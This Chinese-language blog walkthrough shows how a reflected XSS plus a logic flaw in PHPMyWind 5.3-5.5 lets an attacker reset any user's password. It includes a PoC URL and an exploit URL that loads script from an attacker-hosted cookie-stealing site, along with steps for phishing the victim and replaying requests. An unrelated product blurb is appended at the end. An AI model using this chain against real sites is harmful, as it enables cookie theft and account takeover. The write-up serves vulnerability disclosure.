XSS漏洞利用---PHPMyWind 任意密码重置漏洞

本文揭示了PHPMyWind 5.3-5.5版本中存在的任意密码重置漏洞,详细介绍了攻击者如何利用反射型XSS漏洞与逻辑漏洞组合攻击,实现密码重置的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

【漏洞详情】

1、PHPMyWind是一套基于PHP和MySQL并符合W3C标准的企业网站建设解决方案,拥有着较大的用户群体(根据PHPMyWind官网介绍,已下载超15万次),受影响的版本是5.3-5.5版本。该“任意密码重置漏洞”联合利用了“反射型XSS漏洞”与“逻辑漏洞”。攻击者可以利用该“反射型XSS漏洞”,通过诱使受害者点击恶意链接,窃取受害者的Cookie;接着,攻击者可以利用Cookie伪造受害者身份,利用该“逻辑漏洞”,在不知道“受害者密码”的前提下,修改“受害者的密保问题”,进而达到重置受害者密码的目的。攻击思路如下:

【漏洞利用】

1、在网站注册2个测试账号(攻击者、受害者)。
使用PHPMyWind的注册功能注册攻击者的账号hacker以及受害者的账号testtest,通过PHPMyWind的管理后台可以发现hacker的ID为3,而受害者的ID为2,如图所示。

2、攻击者和受害者都登录网站的会员中心;攻击者hacker的登录效果如图3所示。

3、受害者victim的登录效果如图4所示。

4、攻击者使用BurpSuite抓取“重置账号密码”的数据包;
抓取的结果如图所示,可以发现网页表单里的“提问:驾驶执照最后四位数字?”对应着报文中的“question=7”,而“回答:123”对应着报文中的“answer=123”。

5、攻击者向受害者的邮箱发送可触发反射型XSS漏洞的超链接的邮件(该反射型XSS漏洞可致受害者Cookie泄露)。
网站具有反射型XSS注入漏洞的的PoC如下:http://IP/data/api/oauth/connect.php?method=unknownmethod%3Cscript%3Ealert(1)%3C/script%3E
该PoC的执行效果如图所示。

6、修改PoC为如下EXP:http://IP/data/api/oauth/connect.php?method=unknownmethod<script src=http://所搭建的盗取cookie的PHP网站IP/ReflectiveXSS.js></script>

7、攻击者hacker将该恶意链接发送给受害者,诱骗受害者进行点击,如可利用该EXP编辑恶意的电子邮件(邮件正文的“Please Click the Link”的超链接指向了该EXP),并将之发送给受害者。如下图所示受害者点击链接后将会在不知情的情况下受到恶意JS脚本的攻击,自身在PHPMyWind网站的Cookie也会被泄露给攻击者(受害者的Cookie将被传输给攻击者搭建的我们搭建的盗取cookie的PHP网站上)。

 

8、攻击者在获得受害者Cookie后,修改步骤5的“重置账号密码”的数据包,并向网站发送数据包,以期重置受害者的“密码找回答案和密码”。
接下来,攻击者safedog对BurpSuite的数据包进行修改。在BurpSuite的Repeater面板下进行如下操作:

9、改包发包之后返回结果如图所示攻击者hacker成功重置了受害者testtest的“密码找回问题及答案”。

10、攻击者利用网站的“密码找回”功能,重置受害者的登录密码,进而实现非法登录系统。攻击者访问网站的“会员中心/登录页面/找回密码”页面,以针对受害者的账号进行“找回密码”操作,如图所示。

11、选择“安全问题”为“你最喜欢的餐馆名称”,填写“问题答案”为“hacker”,并点击“找回密码”按钮,如图所示(“安全问题”以及“问题答案”与上一步中数据包中的问题以及答案相对应)。

11、此时,我们可以发现,可以通过“回答安全问题找回密码”的功能重置受害者testtest的密码,如图所示。

12、接着,攻击者safedog可以利用为受害者victim重置的密码登录网站,如图所示。

【总结】

该重置任意用户密码的漏洞是XSS漏洞与逻辑漏洞结合利用实现的,该网站存在XSS漏洞可盗取用户cookie修改密保问题,利用逻辑漏洞修改密保问题,通过密保问题修改用户密码。

PHPMyWind CMS官方版 v4.6.5 Beta,是目前该系统网站的最新版本,PHPMyWind是一个品牌,一款基于PHP+MySQL开发符合W3C标准的建站引擎。它将带给人们一系列高效的,成熟的企业网站建设解决方案,让您的信息以更健康的形式高速传递给需要的它的人们,同时让您感受通过PHPMyWind带给您畅快体验。 设计理念 我们追求速度与舒适度。PHPMyWind要做的,只是贴近再贴近中国建站行业人员的使用习惯。在我们的眼中,PHPMyWind不止是一款CMS。它是一套底层代码,是工具箱,是万花筒。我们工作中的任何项目都可以通过改动它来完成。前提是我们都具备PHP的开发基础。我们会尽一切努力把代码与结构制作的简单易懂。你需要什么,尽管来拿! 开发语录 PHPMyWind 前台与后台完全采用PHP代码开发完成,测试过使用框架或模板引擎,虽然MVC很理想,可是却增加了二次开发的难度,特别影响速度。PHPMyWind 主要面向的开发者就是企业建站行业的童鞋们。我们需要的是简单的,快速的,稳定的,拆分性较强的CMS。可能每个站只有几个栏目,亦或网站功能较为特殊需要定制。所以,对模块化要求极强。因此,我们总结上述几点是企业建站开发者们最需要的几点需求,以此为突破口,开发过程中时刻遵循于此。我们希望,开发者在开发的过程中感觉快速、舒适,这是我们的追求。 PHPMyWind 从2010年开发至今已有2年时间,其间已经过4次重写。结构,代码写法逐步成熟。系统内置多个类以及函数,大幅提升开发速度。如目前对系统类使用不惯得同学们,也可以采用PHP内置原生函数开发。每个前台页面保证在头部调用 /include/config.inc.php 即可初始化系统代码,进行开发工作。前台只作为示例展示,与后台关联程度不高,但也可直接使用。目前您可视PHPMyWind为一款CMS核心,在它之上制作丰富的网站。 PHPMyWind v4.6.5 Beta 更新时间:2013-08-28 更新说明: 【更新】 1.新增管理组与权限管理 2.全新设计后台登陆界面 3.更新后台界面样式 【优化】 1.优化对创建超级管理员的权限判断 2.优化类别折叠效果 【修复】 1.修复部分环境下多站切换无效问题 2.修复快捷导航浏览器兼容性的问题 3.修复导航缩略图片只显示路径问题 4.修复关闭文章评论后收藏失效问题 5.修复自定义菜单项添加报错问题 6.修复新增变量为空时不报错问题 7.修复分页页码为负数报错问题 8.修复编辑器过滤HTML标记问题 9.修复管理员问题回答错误问题 10.修复快捷导航链接错误问题 11.修复编辑器v4.1.7多图路径问题
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值